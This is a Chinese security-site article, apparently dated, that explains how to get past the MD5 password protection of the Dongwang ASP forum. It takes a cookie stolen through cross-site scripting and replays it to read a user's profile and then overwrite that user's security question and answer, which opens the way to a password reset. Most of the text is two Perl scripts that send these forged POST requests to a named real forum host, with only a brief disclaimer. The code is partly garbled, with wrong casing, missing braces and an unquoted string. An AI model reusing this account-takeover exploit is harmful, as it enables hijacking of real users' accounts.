上一篇：动网的又一新漏洞

突破动网先锋asp论坛的密码加密限制

对动网先锋asp论坛的安全性分析----跨站脚本攻击应用（shocknet）的文章大家不知道看过没有，动网论坛密码和提示问题答案是md5加密过的，拿到cookie也没什么价值。

 =版权所有  软件 下载  学院  版权所有=

我们可以换一种思路，拿到cookie后，通过发送一个请求取的用户的相关资料，然后再发送个请求修改用户提示问题以及答案。

声明:

以下的两个脚本尽供参考，请勿用作非法用途,否则一切后果自负!

hiallone是我在动网论坛注册的用来测试的用户，大家可以看看演示效果

http://enter.3322.net/cgi-bin/dongw.cgi

http://enter.3322.net/cgi-bin/dongw1.cgi

#!/usr/bin/perl

#取得用户资料

# http://enter.3322.net/cgi-bin/dongw.cgi

use socket;

$host = "bbs.aspsky.net";

$port = 80;

$str = "";

$len =length($str);

$req = "post /mymodify.asp?name=hiallone http/1.1\r\n".

       "host: $host\r\n".

       "accept: */*\r\n".

       "cookie: aspsky=password=965eb72c92a549dd&usercookies=0&username=hiallone&userclass=%c2%db%cc%b3%d3%ce%c3%f1&upnum=1;\r\n".

       "content-type: application/x-www-form-urlencoded\r\n".

       "content-length: $len\n\n".

       "$str\n\n";

@re =sendraw($req);

print "content-type: text/html\n\n";

print "@re";

sub sendraw {

                   my ($req) = @_;

                   my $target;

                   $target = inet_aton($host) || die("inet_aton problems");

                   socket(s,pf_inet,sock_stream,getprotobyname(tcp)||0) || die("socket problems\n");

                   if(connect(s,pack "sna4x8",2,$port,$target)){

                                      select(s);

                                      $| = 1;

                                      print $req;

                                      my @res = <s>;

                                      select(stdout);

                                      close(s);

                                      return @res;

                   else {

                                      die("cant connect...\n");

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/perl

#修改提示问题以及答案，在这里我们可以修改quesion=whoami21&answer=superdao

#那么你可以去改他的密码了,呵呵!

#http://enter.3322.net/cgi-bin/dongw1.cgi

use socket;

$host = "bbs.aspsky.net";

$port = 80;

$str = sex=1&psw=965eb72c92a549dd&quesion=whoami21&answer=superdao&oldanswer=076d0cca420653d4&email=o00o@800e.net&birthyear=&birthmonth=&birthday=&face=pic%2fimage1.gif&myface=pic%2fimage1.gif&width=22&height=22&url=&groupname=%ce%de%c3%c5%ce%de%c5%c9&oicq=&icq=&msn=&showre=1&signature=&usercookies=0&submit=%b8%fc+%d0%c2;

$len =length($str);

$req = "post /mymodify.asp?action=updat&username=hiallone http/1.1\r\n".

       "host: $host\r\n".

       "accept-language: zh-cn\r\n".

       "content-type: application/x-www-form-urlencoded\r\n".

       "accept-encoding: gzip, deflate\r\n".

       "user-agent: mozilla/4.0 (compatible; msie 5.0; windows 98; digext)\r\n".

       "cookie: aspsky=upnum=1&password=965eb72c92a549dd&userclass=%c2%db%cc%b3%d3%ce%c3%f1&username=hiallone&usercookies=0\r\n".

       "content-length: $len\r\n".

       "connection: keep-alive\n\n".

       "$str\n\n";

@re =sendraw($req);

print "content-type: text/html\n\n";

print "@re";

sub sendraw {

                   my ($req) = @_;

                   my $target;

                   $target = inet_aton($host) || die("inet_aton problems");

                   socket(s,pf_inet,sock_stream,getprotobyname(tcp)||0) || die("socket problems\n");

                   if(connect(s,pack "sna4x8",2,$port,$target)){

                                      select(s);

                                      $| = 1;

                                      print $req;

                                      my @res = <s>;

                                      select(stdout);

                                      close(s);

                                      return @res;

                   else {

                                      die("cant connect...\n");

} =版权所有  软件 下载  学院  版权所有=

（）

下一篇：如何对PHP程序中的常见漏洞进行攻击

↓相关文章：